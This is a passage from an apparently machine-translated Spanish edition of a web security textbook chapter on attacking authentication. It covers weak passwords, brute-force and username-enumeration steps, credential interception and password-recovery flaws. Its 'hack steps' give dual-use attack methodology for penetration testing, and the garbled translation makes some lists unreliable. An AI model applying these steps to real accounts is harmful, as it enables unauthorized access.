corresponde) podría usarse para controlar de forma segura el acceso a la
funcionalidad de diagnóstico? ¿ Necesita más información para ayudar a elegir una solución?
(a) Las funciones de diagnóstico podrían verificar el encabezado HTTP Referer para confirmar
que la solicitud se originó en la página administrativa principal. (b) Las funciones de
diagnóstico podrían validar las cookies proporcionadas para confirmar que contienen un token
de sesión válido para la aplicación principal. (c) La aplicación principal podría establecer un
token de autenticación en un campo oculto que se incluye dentro de la solicitud. La función de

diagnóstico podría validar esto para confirmar que el usuario tiene una sesión en la
aplicación principal.
4. Si un campo de formulario incluye el atributo disabled=true, no se envía con el

resto del formulario. ¿Cómo puedes cambiar este comportamiento?
5. ¿Existe algún medio por el cual una aplicación pueda garantizar que una parte de
¿Se ha ejecutado la lógica de validación de entrada en el cliente?
Capítulo R
Autenticación de ataque
A primera vista, la autenticación se encuentra conceptualmente entre los más simples de

todos los mecanismos de seguridad empleados en las aplicaciones web. En el caso típico,
un usuario proporciona su nombre de usuario y contraseña, y la aplicación debe verificar que
estos elementos sean correctos. Si es así, deja entrar al usuario. Si no, no lo hace.
La autenticación también se encuentra en el corazón de la protección de una aplicación
contra ataques maliciosos. Es la primera línea de defensa contra el acceso no autorizado. Si
un atacante puede derrotar esas defensas, a menudo obtendrá el control total de la
funcionalidad de la aplicación y el acceso sin restricciones a los datos que contiene. Sin una
autenticación sólida en la que confiar, ninguno de los otros mecanismos de seguridad básicos
(como la gestión de sesiones y el control de acceso) puede ser efectivo.
De hecho, a pesar de su aparente simplicidad, idear una función de autenticación segura
es un asunto sutil. En las aplicaciones web del mundo real, la autenticación suele ser el
eslabón más débil, lo que permite que un atacante obtenga acceso no autorizado. Los autores
han perdido la cuenta de la cantidad de aplicaciones que hemos comprometido
fundamentalmente como resultado de varios defectos en la lógica de autenticación.
Este capítulo analiza en detalle la amplia variedad de fallas de diseño e implementación
que comúnmente afectan a las aplicaciones web. Por lo general, surgen porque los
diseñadores y desarrolladores de aplicaciones no hacen una pregunta simple: ¿Qué podría
lograr un atacante si apuntara a nuestro mecanismo de autenticación? En la mayoría de los
casos, tan pronto como se hace esta pregunta sobre una aplicación en particular, se
materializa una serie de vulnerabilidades potenciales, cualquiera de las cuales puede ser
suficiente para romper la aplicación.
159
160 Capítulo 6 n Autenticación de ataques
Muchas de las vulnerabilidades de autenticación más comunes son obvias.

Cualquiera puede escribir palabras del diccionario en un formulario de inicio de sesión en un
intento de adivinar contraseñas válidas. En otros casos, los defectos sutiles pueden acechar
profundamente en el procesamiento de la aplicación que pueden descubrirse y explotarse solo
después de un análisis minucioso de un complejo mecanismo de inicio de sesión de varias
etapas. Describiremos el espectro completo de estos ataques, incluidas las técnicas que han
logrado romper la autenticación de algunas de las aplicaciones web más críticas para la seguridad
y mejor defendidas del planeta.
Tecnologías de autenticación
Una amplia gama de tecnologías está disponible para los desarrolladores de aplicaciones web
cuando implementan mecanismos de autenticación:
n Autenticación basada en formularios HTML
n Mecanismos multifactoriales, como los que combinan contraseñas y datos

fichas de cal
n Certificados SSL de clientes y/o tarjetas inteligentes
n Autenticación HTTP básica y implícita n
Autenticación integrada en Windows usando NTLM o Kerberos

n Servicios de autenticación
Con mucho, el mecanismo de autenticación más común empleado por las aplicaciones web
utiliza formularios HTML para capturar un nombre de usuario y una contraseña y enviarlos a la
aplicación. Este mecanismo representa más del 90% de las aplicaciones que probablemente
encuentre en Internet.
En aplicaciones de Internet más críticas para la seguridad, como la banca en línea, este
mecanismo básico a menudo se expande en múltiples etapas, lo que requiere que el usuario
envíe credenciales adicionales, como un PIN o caracteres seleccionados de una palabra secreta.
Los formularios HTML todavía se utilizan normalmente para capturar datos relevantes.
En las aplicaciones más críticas para la seguridad, como la banca privada para personas de
alto valor, es común encontrar mecanismos multifactoriales que utilizan tokens físicos. Estos
tokens generalmente producen un flujo de códigos de acceso de un solo uso o realizan una
función de desafío-respuesta basada en la entrada especificada por la aplicación.
A medida que el costo de esta tecnología disminuya con el tiempo, es probable que más
aplicaciones empleen este tipo de mecanismo. Sin embargo, muchas de estas soluciones en
realidad no abordan las amenazas para las que fueron diseñadas, principalmente los ataques de
phishing y los que emplean troyanos del lado del cliente.
Algunas aplicaciones web emplean certificados SSL del lado del cliente o mecanismos
criptográficos implementados dentro de las tarjetas inteligentes. Debido a la sobrecarga de
administración y distribución de estos elementos, por lo general se utilizan solo en áreas críticas para la seguridad.
Capítulo 6 n Autenticación de ataque 161
contextos en los que la base de usuarios de una aplicación es pequeña, como las VPN basadas en web para
trabajadores de oficinas remotas.
Los mecanismos de autenticación basados en HTTP (básico, resumen e integrado de Windows) rara vez
se utilizan en Internet. Se encuentran mucho más comúnmente en entornos de intranet donde los usuarios
internos de una organización obtienen acceso a las aplicaciones corporativas proporcionando sus credenciales
normales de red o dominio. Luego, la aplicación procesa estas credenciales utilizando una de estas tecnologías.
Los servicios de autenticación de terceros, como Microsoft Passport, se encuentran ocasionalmente , pero
en la actualidad no se han adoptado en una escala significativa.
La mayoría de las vulnerabilidades y ataques que surgen en relación con la autenticación pueden aplicarse
a cualquiera de las tecnologías mencionadas. Debido al dominio abrumador de la autenticación basada en

formularios HTML, describiremos cada vulnerabilidad y ataque específicos en ese contexto. Cuando sea
relevante, indicaremos las diferencias específicas y las metodologías de ataque que sean relevantes para las
otras tecnologías disponibles.
Defectos de diseño en los mecanismos de autenticación
La funcionalidad de autenticación está sujeta a más debilidades de diseño que cualquier otro mecanismo de
seguridad comúnmente empleado en aplicaciones web. Incluso en el modelo estándar aparentemente simple
en el que una aplicación autentica a los usuarios en función de su nombre de usuario y contraseña, las
deficiencias en el diseño de este modelo pueden hacer que la aplicación sea muy vulnerable al acceso no
autorizado.
malas contraseñas
Muchas aplicaciones web emplean controles mínimos o nulos sobre la calidad de las
contraseñas de los usuarios. Es común encontrar aplicaciones que permiten contraseñas que son:
n Muy corto o en blanco n
Nombres o palabras comunes del diccionario

n Igual que el nombre de usuario
n Todavía establecido en un valor predeterminado
La figura 6-1 muestra un ejemplo de reglas de calidad de contraseña débiles. Los usuarios finales
típicamente muestran poca conciencia de los problemas de seguridad. Por lo tanto, es muy probable que una
aplicación que no aplique estándares de contraseñas seguras contenga una gran cantidad de cuentas de
usuario con contraseñas débiles establecidas. Un atacante puede adivinar fácilmente las contraseñas de estas
cuentas, otorgándole acceso no autorizado a la aplicación.
Figura 6-1: Una aplicación que impone reglas de calidad de contraseña débiles
PASOS DE HACK
Intente descubrir las reglas relacionadas con la calidad de las
contraseñas: 1. Revise el sitio web para obtener una descripción de las reglas.
2. Si es posible el autorregistro, intente registrar varias cuentas con diferentes tipos de

contraseñas débiles para descubrir qué reglas existen.
3. Si controla una sola cuenta y es posible cambiar la contraseña, intente

para cambiar su contraseña a varios valores débiles.
NOTA Si las reglas de calidad de las contraseñas se hacen cumplir solo a través de controles
del lado del cliente, esto no es en sí mismo un problema de seguridad, porque los usuarios
comunes seguirán estando protegidos. Normalmente, no es una amenaza para la seguridad de
una aplicación que un atacante astuto pueda asignarse una contraseña débil.
¡INTENTALO!
Inicio de sesión por fuerza bruta
La funcionalidad de inicio de sesión presenta una invitación abierta para que un atacante intente
adivinar nombres de usuario y contraseñas y, por lo tanto, obtenga acceso no autorizado a la
aplicación . Si la aplicación permite que un atacante realice repetidos intentos de inicio de sesión
con diferentes contraseñas hasta que adivine la correcta, es altamente vulnerable incluso
para un atacante aficionado que ingresa manualmente algunos nombres de usuario y
contraseñas comunes en su navegador.
Los compromisos recientes de sitios de alto perfil han brindado acceso a cientos de miles
de contraseñas del mundo real que se almacenaron en texto sin cifrar o utilizando hashes de
fuerza bruta. Estas son las contraseñas más populares del mundo real:
n contraseña
n nombre del sitio web
n 12345678
qwerty _
n abc123
norte 111111
n mono
nº 12345
n tarde
NOTA Las contraseñas administrativas pueden, de hecho, ser más débiles de lo que
permite la política de contraseñas. Es posible que se hayan configurado antes de que la
política entrara en vigor o que se hayan configurado a través de una aplicación o interfaz diferente.
En esta situación, cualquier atacante serio utilizará técnicas automatizadas para intentar
adivinar las contraseñas, basándose en largas listas de valores comunes. Dado el ancho de
banda y las capacidades de procesamiento actuales, es posible realizar miles de intentos de
inicio de sesión por minuto desde una PC estándar y una conexión DSL. Incluso las
contraseñas más robustas eventualmente se romperán en este escenario.
Varias técnicas y herramientas para usar la automatización de esta manera se describen
en detalle en el Capítulo 14. La Figura 6-2 muestra un ataque exitoso de adivinación de
contraseña contra una sola cuenta usando Burp Intruder. El intento de inicio de sesión exitoso
se puede distinguir claramente por la diferencia en el código de respuesta HTTP, la longitud
de la respuesta y la ausencia del mensaje de "inicio de sesión incorrecto".
En algunas aplicaciones, se emplean controles del lado del cliente en un intento
de evitar ataques de adivinación de contraseñas. Por ejemplo, una aplicación
puede configurar una cookie como faillogins=1 e incrementarla después de cada
intento fallido. Cuando se alcanza un determinado umbral, el servidor lo detecta en
la cookie enviada y se niega a procesar el intento de inicio de sesión. Este tipo de
defensa del lado del cliente puede evitar que se lance un ataque manual usando
solo un navegador, pero, por supuesto, puede evitarse fácilmente, como se
describe en el Capítulo 5.
Figura 6-2: Un ataque exitoso de adivinación de contraseñas
Se produce una variación de la vulnerabilidad anterior cuando el contador de inicios de sesión

fallidos se mantiene dentro de la sesión actual. Aunque es posible que no haya indicios de esto
en el lado del cliente, todo lo que el atacante debe hacer es obtener una nueva sesión (por
ejemplo, reteniendo su cookie de sesión) y puede continuar con su ataque de adivinación de contraseña.
Finalmente, en algunos casos, la aplicación bloquea una cuenta específica después de
una cantidad adecuada de inicios de sesión fallidos. Sin embargo, responde a los intentos
de inicio de sesión adicionales con mensajes que indican (o permiten que un atacante
deduzca) si la contraseña proporcionada era correcta. Esto significa que un atacante puede
completar su ataque de adivinación de contraseñas aunque la cuenta objetivo esté bloqueada.
Si la aplicación desbloquea automáticamente las cuentas después de un cierto retraso, el
atacante simplemente debe esperar a que esto ocurra y luego iniciar sesión como de
costumbre con la contraseña descubierta.
PASOS DE HACK
1. Envíe manualmente varios intentos de inicio de sesión incorrectos para una cuenta que usted controla,
monitorear los mensajes de error que recibe.
2. Después de aproximadamente 10 inicios de sesión fallidos, si la aplicación no ha devuelto un

mensaje sobre el bloqueo de la cuenta, intente iniciar sesión correctamente. Si esto tiene éxito,
probablemente no haya una política de bloqueo de cuenta.
3. Si la cuenta está bloqueada, intente repetir el ejercicio con una cuenta diferente.
cuenta. Esta vez, si la aplicación emite cookies, use cada cookie para un solo intento
de inicio de sesión y obtenga una nueva cookie para cada intento de inicio de sesión
subsiguiente.
4. Además, si la cuenta está bloqueada, vea si enviar la contraseña válida provoca alguna
diferencia en el comportamiento de la aplicación en comparación con una contraseña
no válida. Si es así, puede continuar con un ataque de adivinación de contraseña incluso
si la cuenta está bloqueada.
5. Si no controla ninguna cuenta, intente enumerar un nombre de usuario válido

(consulte la siguiente sección) y realice varios inicios de sesión incorrectos con este.
Supervise cualquier mensaje de error sobre el bloqueo de la cuenta.
6. Para montar un ataque de fuerza bruta, primero identifique una diferencia en el

comportamiento de la aplicación en respuesta a inicios de sesión exitosos y fallidos.
Puede utilizar este hecho para discriminar entre el éxito y el fracaso durante el curso
del ataque automatizado.
7. Obtenga una lista de nombres de usuario enumerados o comunes y una lista de nombres comunes
contraseñas Utilice cualquier información obtenida sobre las reglas de calidad de las
contraseñas para adaptar la lista de contraseñas a fin de evitar casos de prueba superfluos.
8. Utilice una herramienta adecuada o un script personalizado para generar rápidamente

solicitudes de inicio de sesión utilizando todas las permutaciones de estos nombres de
usuario y contraseñas. Supervise las respuestas del servidor para identificar los intentos
de inicio de sesión exitosos. El Capítulo 14 describe en detalle varias técnicas y
herramientas para realizar ataques personalizados mediante la automatización.
9. Si está apuntando a varios nombres de usuario a la vez, generalmente es preferible

realizar este tipo de ataque de fuerza bruta primero en amplitud en lugar de primero
en profundidad. Esto implica iterar a través de una lista de contraseñas (comenzando
con la más común) e intentar cada contraseña en cada nombre de usuario. Este
enfoque tiene dos beneficios. Primero, descubre cuentas con contraseñas comunes
más rápidamente. En segundo lugar, es menos probable que active cualquier defensa
de bloqueo de cuenta, porque hay un retraso de tiempo entre los intentos sucesivos
de usar cada cuenta individual.
¡INTENTALO!
Mensajes de error detallados

Un formulario de inicio de sesión típico requiere que el usuario ingrese dos datos: un nombre
de usuario y una contraseña. Algunas aplicaciones requieren varios más, como la fecha de
nacimiento, un lugar memorable o un PIN.
Cuando falla un intento de inicio de sesión, por supuesto, puede inferir que al menos una
parte de la información era incorrecta. Sin embargo, si la aplicación le dice qué parte de la
información no es válida, puede aprovechar este comportamiento para disminuir
considerablemente la efectividad del mecanismo de inicio de sesión.
En el caso más simple, donde un inicio de sesión requiere un nombre de usuario y una
contraseña, una aplicación podría responder a un intento fallido de inicio de sesión indicando
si el motivo del error fue un nombre de usuario no reconocido o una contraseña incorrecta,
como se ilustra en la Figura 6-3.
Figura 6-3: Mensajes detallados de error de inicio de sesión que indican cuándo se ha
adivinado un nombre de usuario válido
En este caso, puede utilizar un ataque automatizado para iterar a través de una gran lista
de nombres de usuario comunes para enumerar cuáles son válidos. Por supuesto, los nombres
de usuario normalmente no se consideran secretos (no se enmascaran durante el inicio de
sesión, por ejemplo). Sin embargo, proporcionar un medio fácil para que un atacante identifique
nombres de usuario válidos aumenta la probabilidad de que comprometa la aplicación con
suficiente tiempo, habilidad y esfuerzo. Se puede utilizar una lista de nombres de usuario
enumerados como base para varios ataques posteriores, incluida la adivinación de contraseñas,
ataques a datos o sesiones de usuarios o ingeniería social.
Además de la función de inicio de sesión principal, la enumeración de nombres de usuario
puede surgir en otros componentes del mecanismo de autenticación. En principio, cualquier
función en la que se envíe un nombre de usuario real o potencial puede aprovecharse para
este fin. Una ubicación donde se encuentra comúnmente la enumeración de nombres de
usuario es la función de registro de usuarios. Si la aplicación permite que nuevos usuarios se
registren y especifiquen sus propios nombres de usuario, la enumeración de nombres de
usuario es prácticamente imposible de evitar si la aplicación debe evitar que se registren
nombres de usuario duplicados. Otras ubicaciones donde a veces se encuentran enumeraciones de nombres de usuario
son las funciones de cambio de contraseña y contraseña olvidada, como se describe más
adelante en este capítulo.
NOTA Muchos mecanismos de autenticación revelan los nombres de usuario de

forma implícita o explícita. En una cuenta de correo web, el nombre de usuario suele
ser la dirección de correo electrónico, que es de conocimiento común por diseño.
Muchos otros sitios exponen los nombres de usuario dentro de la aplicación sin
considerar la ventaja que esto otorga a un atacante, o generan nombres de usuario
de una manera que se puede predecir (por ejemplo, usuario1842, usuario1843, etc.).
En mecanismos de inicio de sesión más complejos, donde una aplicación requiere que el
usuario envíe varios datos o avance a través de varias etapas, los mensajes de falla detallados u
otros discriminadores pueden permitir que un atacante apunte a cada etapa del proceso de inicio
de sesión, aumentando la probabilidad de que obtendrá acceso no autorizado.
NOTA Esta vulnerabilidad puede surgir de maneras más sutiles que las ilustradas aquí.
Incluso si los mensajes de error devueltos en respuesta a un nombre de usuario válido e inválido
son superficialmente similares, puede haber pequeñas diferencias entre ellos que se pueden
usar para enumerar nombres de usuario válidos. Por ejemplo, si varias rutas de código dentro
de la aplicación devuelven el "mismo" mensaje de falla, puede haber diferencias tipográficas
menores entre cada instancia del mensaje. En algunos casos, las respuestas de la aplicación
pueden ser idénticas en pantalla, pero pueden contener diferencias sutiles ocultas en el código
fuente HTML, como comentarios o diferencias de diseño. Si no se presenta ningún medio obvio
de enumerar los nombres de usuario, debe realizar una comparación detallada de las respuestas
de la aplicación a los nombres de usuario válidos e inválidos.
Puede usar la herramienta Comparer dentro de Burp Suite para analizar y resaltar
automáticamente las diferencias entre las respuestas de dos aplicaciones, como se muestra en
la Figura 6-4. Esto lo ayuda a identificar rápidamente si la validez del nombre de usuario genera
alguna diferencia sistemática en las respuestas de la aplicación.
Figura 6-4: Identificación de diferencias sutiles en las respuestas de la aplicación utilizando Burp Comparer
PASOS DE HACK
1. Si ya conoce un nombre de usuario válido (por ejemplo, una cuenta que

control), envíe un inicio de sesión con este nombre de usuario y una contraseña incorrecta,
y otro inicio de sesión con un nombre de usuario aleatorio.
2. Registre todos los detalles de las respuestas del servidor a cada intento de inicio de
sesión, incluido el código de estado, los redireccionamientos, la información que se
muestra en la pantalla y las diferencias ocultas en la fuente de la página HTML. Use su
proxy de intercepción para mantener un historial completo de todo el tráfico hacia y desde el
servidor.
3. Intente descubrir cualquier diferencia obvia o sutil en la configuración del servidor.

respuestas a los dos intentos de inicio de sesión.
4. Si esto falla, repita el ejercicio en todas partes dentro de la aplicación donde se pueda
enviar un nombre de usuario (por ejemplo, autorregistro, cambio de contraseña y
contraseña olvidada).
5. Si se detecta una diferencia en las respuestas del servidor a nombres de usuario válidos
e inválidos, obtenga una lista de nombres de usuario comunes. Utilice un script
personalizado o una herramienta automatizada para enviar rápidamente cada nombre de
usuario y filtre las respuestas que indican que el nombre de usuario es válido (consulte el Capítulo 14).
6. Antes de comenzar su ejercicio de enumeración, verifique si la aplicación

cation realiza cualquier bloqueo de cuenta después de un cierto número de intentos fallidos
de inicio de sesión (consulte la sección anterior). Si es así, es deseable diseñar su ataque
de enumeración con este hecho en mente. Por ejemplo, si la aplicación le otorga solo tres
intentos fallidos de inicio de sesión con una cuenta determinada, corre el riesgo de
"desperdiciar" uno de estos por cada nombre de usuario que descubra a través de la
enumeración automática. Por lo tanto, al realizar su ataque de enumeración, no envíe una
contraseña descabellada con cada intento de inicio de sesión. En su lugar, envíe una única
contraseña común, como contraseña1, o el propio nombre de usuario como contraseña. Si
las reglas de calidad de la contraseña son débiles, es muy probable que algunos de los
intentos de inicio de sesión que realice como parte de su ejercicio de enumeración tengan
éxito y revelen tanto el nombre de usuario como la contraseña de una sola vez. Para
configurar el campo de contraseña para que sea el mismo que el nombre de usuario, puede
usar el modo de ataque "ariete" en Burp Intruder para insertar la misma carga útil en varias
posiciones en su solicitud de inicio de sesión.
Incluso si las respuestas de una aplicación a los intentos de inicio de sesión que contienen
nombres de usuario válidos e inválidos son idénticas en todos los aspectos intrínsecos, aún puede
ser posible enumerar los nombres de usuario en función del tiempo que tarda la aplicación en
responder a la solicitud de inicio de sesión. Las aplicaciones a menudo realizan un procesamiento de
back-end muy diferente en una solicitud de inicio de sesión, dependiendo de si contiene un nombre de usuario válido.
Por ejemplo, cuando se envía un nombre de usuario válido, la aplicación puede recuperar
detalles del usuario de una base de datos de back-end, realizar varios procesos en estos
detalles (por ejemplo, comprobar si la cuenta ha caducado) y luego validar la

contraseña (lo que puede implicar un algoritmo hash intensivo en recursos) antes
de devolver un mensaje genérico si la contraseña es incorrecta. La diferencia de
tiempo entre las dos respuestas puede ser demasiado sutil para detectar cuando
se trabaja solo con un navegador, pero una herramienta automatizada puede discriminarlas.
Incluso si los resultados de dicho ejercicio contienen una gran proporción de falsos positivos, es
mejor tener una lista de 100 nombres de usuario, de los cuales aproximadamente el 50 % son
válidos, que una lista de 10 000 nombres de usuarios, de los cuales aproximadamente el 0,5 % son válidos. .
Consulte el Capítulo 15 para obtener una explicación detallada de cómo detectar y explotar este
tipo de diferencia de tiempo para extraer información de la aplicación.
SUGERENCIA Además de la funcionalidad de inicio de sesión en sí, puede haber otras fuentes de
información donde puede obtener nombres de usuario válidos. Revise todos los comentarios del
código fuente descubiertos durante el mapeo de la aplicación (consulte el Capítulo 4) para
identificar cualquier nombre de usuario aparente. Cualquier dirección de correo electrónico de los
desarrolladores u otro personal dentro de la organización pueden ser nombres de usuario válidos,
ya sea en su totalidad o solo el prefijo específi co del usuario. Cualquier funcionalidad de registro accesible puede revelar nomb
¡INTENTALO!
Transmisión Vulnerable de Credenciales

Si una aplicación utiliza una conexión HTTP sin cifrar para transmitir las credenciales de inicio de
sesión , un intruso que esté adecuadamente posicionado en la red puede, por supuesto,
interceptarlos. Dependiendo de la ubicación del usuario, las posibles personas que escuchan a
escondidas pueden residir:
n En la red local del usuario
n Dentro del departamento de TI del usuario

n Dentro del ISP del usuario
n En la red troncal de Internet
n Dentro del ISP que aloja la aplicación n Dentro del
departamento de TI que gestiona la aplicación

NOTA Cualquiera de estos lugares puede estar ocupado por personal

autorizado, pero también potencialmente por un atacante externo que ha
comprometido la infraestructura relevante por algún otro medio. Incluso si se
cree que los intermediarios en una red en particular son confiables, es más
seguro usar mecanismos de transporte seguro al pasar datos confidenciales a través de ella.
Incluso si el inicio de sesión se produce a través de HTTPS, las credenciales aún pueden divulgarse a unau
Partes autorizadas si la aplicación las maneja de manera insegura:
n Si las credenciales se transmiten como parámetros de cadena de consulta, a diferencia del cuerpo de
una solicitud POST , es probable que se registren en varios lugares, como en el historial del navegador
del usuario, en los registros del servidor web y en los registros de cualquier proxy inverso empleado
dentro de la infraestructura de alojamiento. Si un atacante logra comprometer cualquiera de estos
recursos, puede escalar los privilegios capturando las credenciales de usuario almacenadas allí.
n Si bien la mayoría de las aplicaciones web usan el cuerpo de una solicitud POST para enviar el formulario
de inicio de sesión HTML, es sorprendentemente común ver que la solicitud de inicio de sesión se
maneja a través de una redirección a una URL diferente con las mismas credenciales pasadas como
parámetros de cadena de consulta. No está claro por qué los desarrolladores de aplicaciones consideran
necesario realizar estos rebotes, pero una vez elegido hacerlo, es más fácil implementarlos como
redireccionamientos 302 a una URL que como solicitudes POST utilizando un segundo formulario
HTML enviado a través de JavaScript. n Las aplicaciones web a veces almacenan las credenciales de
los usuarios en cookies, generalmente para implementar mecanismos mal diseñados para iniciar sesión,
cambiar contraseñas, "recordarme", etc. Estas credenciales son vulnerables a la captura a través de
ataques que comprometen las cookies del usuario y, en el caso de las cookies persistentes, por
cualquier persona que obtenga acceso al sistema de archivos local del cliente. Incluso si las credenciales
están encriptadas, un atacante puede simplemente reproducir la cookie y, por lo tanto, iniciar sesión
como usuario sin conocer realmente sus credenciales.
Los capítulos 12 y 13 describen varias formas en que un atacante puede apuntar a otros usuarios para
capturar sus cookies.
Muchas aplicaciones usan HTTP para áreas no autenticadas de la aplicación y cambian a HTTPS en el
momento del inicio de sesión. Si este es el caso, entonces el lugar correcto para cambiar a HTTPS es cuando
la página de inicio de sesión se carga en el navegador, lo que permite al usuario verificar que la página es
auténtica antes de ingresar las credenciales. Sin embargo, es común encontrar aplicaciones que cargan la
página de inicio de sesión usando HTTP y luego cambian a HTTPS en el punto donde se envían las credenciales.
Esto no es seguro, porque un usuario no puede verificar la autenticidad de la página de inicio de sesión y, por
lo tanto, no tiene garantía de que las credenciales se enviarán de forma segura.
Un atacante posicionado adecuadamente puede interceptar y modificar la página de inicio de sesión, cambiando
la URL de destino del formulario de inicio de sesión para usar HTTP. Para cuando un usuario astuto se dé
cuenta de que las credenciales se enviaron mediante HTTP, se habrán visto comprometidas.
Capítulo 6 n Atacar la autenticación 171
PASOS DE HACK
1. Realice un inicio de sesión exitoso mientras monitorea todo el tráfico en ambas

direcciones entre el cliente y el servidor.
2. Identificar todos los casos en los que las credenciales se transmiten en

dirección. Puede establecer reglas de interceptación en su proxy de interceptación para
marcar mensajes que contengan cadenas específicas (consulte el Capítulo 20).
3. Si se encuentran instancias en las que las credenciales se envían en una URL

cadena de consulta o como una cookie, o se transmiten de vuelta desde el servidor al
cliente, comprender lo que está sucediendo e intentar determinar qué propósito
intentaban lograr los desarrolladores de la aplicación. Intente encontrar todos los
medios por los cuales un atacante pueda interferir con la lógica de la aplicación para
comprometer las credenciales de otros usuarios.
4. Si se transmite información confidencial a través de un canal no encriptado, esto es,

por supuesto, vulnerable a la intercepción.
5. Si no se identifican casos de credenciales reales que se transmitan de manera

insegura, preste especial atención a los datos que parezcan estar codificados u
ofuscados. Si esto incluye datos confidenciales, es posible aplicar ingeniería inversa
al algoritmo de ofuscación.
6. Si las credenciales se envían mediante HTTPS pero se carga el formulario de inicio de sesión
al usar HTTP, la aplicación es vulnerable a un ataque de intermediario, que puede
usarse para capturar credenciales.
¡INTENTALO!
Funcionalidad de cambio de contraseña

Sorprendentemente, muchas aplicaciones web no ofrecen ninguna forma para que los
usuarios cambien su contraseña. Sin embargo, esta funcionalidad es necesaria para un
mecanismo de autenticación bien diseñado por dos razones:
n El cambio de contraseña obligatorio periódico mitiga la amenaza de compromiso de

contraseña . Reduce la ventana en la que una contraseña dada puede ser objeto de
un ataque de adivinanza. También reduce la ventana en la que se puede usar una
contraseña comprometida sin que el atacante la detecte.
n Los usuarios que sospechan que sus contraseñas pueden haber sido
comprometidas deben poder cambiar rápidamente su contraseña para reducir la
amenaza de uso no autorizado.
Aunque es una parte necesaria de un mecanismo de autenticación efectivo, la

funcionalidad de cambio de contraseña a menudo es vulnerable por diseño. Las
vulnerabilidades que se evitan deliberadamente en la función principal de inicio de sesión
suelen reaparecer en la función de cambio de contraseña. Las funciones de cambio de
contraseña de muchas aplicaciones web son accesibles sin autenticación y hacen lo siguiente:
n Proporcione un mensaje de error detallado que indique si el usuario solicitado

el nombre es valido
n Permitir adivinaciones sin restricciones del campo "contraseña existente". n
Compruebe si los campos "nueva contraseña" y "confirmar nueva contraseña" tienen el mismo valor
solo después de validar la contraseña existente, lo que permite que un ataque logre descubrir la
contraseña existente de forma no invasiva.
Una función típica de cambio de contraseña incluye un árbol de decisión lógico relativamente grande . La
aplicación necesita identificar al usuario, validar la contraseña existente suministrada, integrarse con cualquier
defensa de bloqueo de cuenta, comparar las nuevas contraseñas suministradas entre sí y con las reglas de
calidad de la contraseña, y enviar cualquier condición de error al usuario de manera adecuada. Debido a
esto, las funciones de cambio de contraseña a menudo contienen fallas lógicas sutiles que pueden explotarse
para subvertir todo el mecanismo.
PASOS DE HACK
1. Identifique cualquier funcionalidad de cambio de contraseña dentro de la aplicación. Si

esto no está vinculado explícitamente desde el contenido publicado, aún puede
implementarse. El Capítulo 4 describe varias técnicas para descubrir contenido oculto
dentro de una aplicación.
2. Realice varias solicitudes a la función de cambio de contraseña utilizando

nombres de usuario, contraseñas existentes no válidas y valores de "nueva contraseña" y
"confirmar nueva contraseña" que no coinciden.
3. Trate de identificar cualquier comportamiento que pueda usarse para la enumeración de

nombres de usuario o ataques de fuerza bruta (como se describe en las secciones "Inicio
de sesión por fuerza bruta" y "Mensajes de error detallados").
SUGERENCIA Si solo los usuarios autenticados pueden acceder al formulario de cambio de

contraseña y no contiene un campo de nombre de usuario, aún es posible proporcionar un
nombre de usuario arbitrario. El formulario puede almacenar el nombre de usuario en un campo
oculto, que se puede modificar fácilmente. De lo contrario, intente proporcionar un parámetro
adicional que contenga el nombre de usuario, usando el mismo nombre de parámetro que se usa
en el formulario de inicio de sesión principal. Este truco a veces logra anular el nombre de usuario
del usuario actual, lo que le permite aplicar fuerza bruta a las credenciales de otros usuarios
incluso cuando esto no es posible en el inicio de sesión principal.
¡INTENTALO!
Funcionalidad de contraseña olvidada

Al igual que la funcionalidad de cambio de contraseña, los mecanismos para recuperarse de una
situación de olvido de diez contraseñas a menudo presentan problemas que pueden haberse evitado en
la función principal de inicio de sesión, como la enumeración de nombres de usuario.
Además de esta variedad de defectos, las debilidades de diseño en las funciones de
contraseñas olvidadas con frecuencia hacen que este sea el eslabón más débil para atacar
la lógica de autenticación general de la aplicación. A menudo se pueden encontrar varios
tipos de debilidades de diseño :
n La funcionalidad de contraseña olvidada a menudo implica presentar al usuario un

desafío secundario en lugar del inicio de sesión principal, como se muestra en la Figura 6-5.
Este desafío suele ser mucho más fácil de responder para un atacante que intentar
adivinar la contraseña del usuario. Las preguntas sobre los apellidos de soltera de las
madres , las fechas memorables, los colores favoritos y similares generalmente tendrán
un conjunto mucho más pequeño de posibles respuestas que el conjunto de posibles contraseñas.
Además, a menudo se refieren a información que se conoce públicamente o que un
atacante determinado puede descubrir con un grado de esfuerzo modesto.
Figura 6-5: Un desafío secundario utilizado en una función de

recuperación de cuenta
En muchos casos, la aplicación permite a los usuarios configurar su propio desafío y

respuesta de recuperación de contraseña durante el registro. Los usuarios se inclinan
para establecer desafíos extremadamente inseguros, presumiblemente bajo la falsa

suposición de que solo a ellos se les presentarán alguna vez. Un ejemplo es "¿Soy dueño
de un barco?" En esta situación, un atacante que quiera obtener acceso puede utilizar un
ataque automatizado para iterar a través de una lista de nombres de usuario enumerados o
comunes, registrar todos los desafíos de recuperación de contraseña y seleccionar aquellos
que parezcan más fáciles de adivinar. (Consulte el Capítulo 14 para obtener técnicas sobre
cómo obtener este tipo de datos en un ataque con secuencias de comandos).
n Al igual que con la función de cambio de contraseña, los desarrolladores de aplicaciones

suelen pasar por alto la posibilidad de aplicar fuerza bruta en la respuesta a un desafío de
recuperación de contraseña , incluso cuando bloquean este ataque en la página principal de
inicio de sesión. Si una aplicación permite intentos ilimitados de responder a desafíos de
recuperación de contraseña, es muy probable que un atacante determinado la comprometa.
n En algunas aplicaciones, el desafío de recuperación se reemplaza con una simple “pista” de

contraseña que configuran los usuarios durante el registro. Los usuarios suelen establecer
sugerencias extremadamente obvias, tal vez incluso una que sea idéntica a la contraseña
en sí, con la falsa suposición de que solo ellos las verán. Nuevamente, un atacante con una
lista de nombres de usuario comunes o enumerados puede capturar fácilmente una gran
cantidad de sugerencias de contraseñas y luego comenzar a adivinar.
n El mecanismo mediante el cual una aplicación permite a los usuarios recuperar el control
de su cuenta después de responder correctamente a un desafío suele ser vulnerable.
Un medio razonablemente seguro de implementar esto es enviar una URL de recuperación
única, indescifrable y de tiempo limitado a la dirección de correo electrónico que el usuario
proporcionó durante el registro. Visitar esta URL en unos minutos permite al usuario
establecer una nueva contraseña. Sin embargo, a menudo se encuentran otros mecanismos
para la recuperación de cuentas que son inseguros por diseño:
n Algunas aplicaciones revelan la contraseña olvidada existente al usuario después de

completar con éxito un desafío, lo que permite que un atacante use la cuenta
indefinidamente sin ningún riesgo de detección por parte del propietario.
Incluso si el propietario de la cuenta cambia posteriormente la contraseña perdida, el
atacante puede simplemente repetir el mismo desafío para obtener la nueva contraseña.
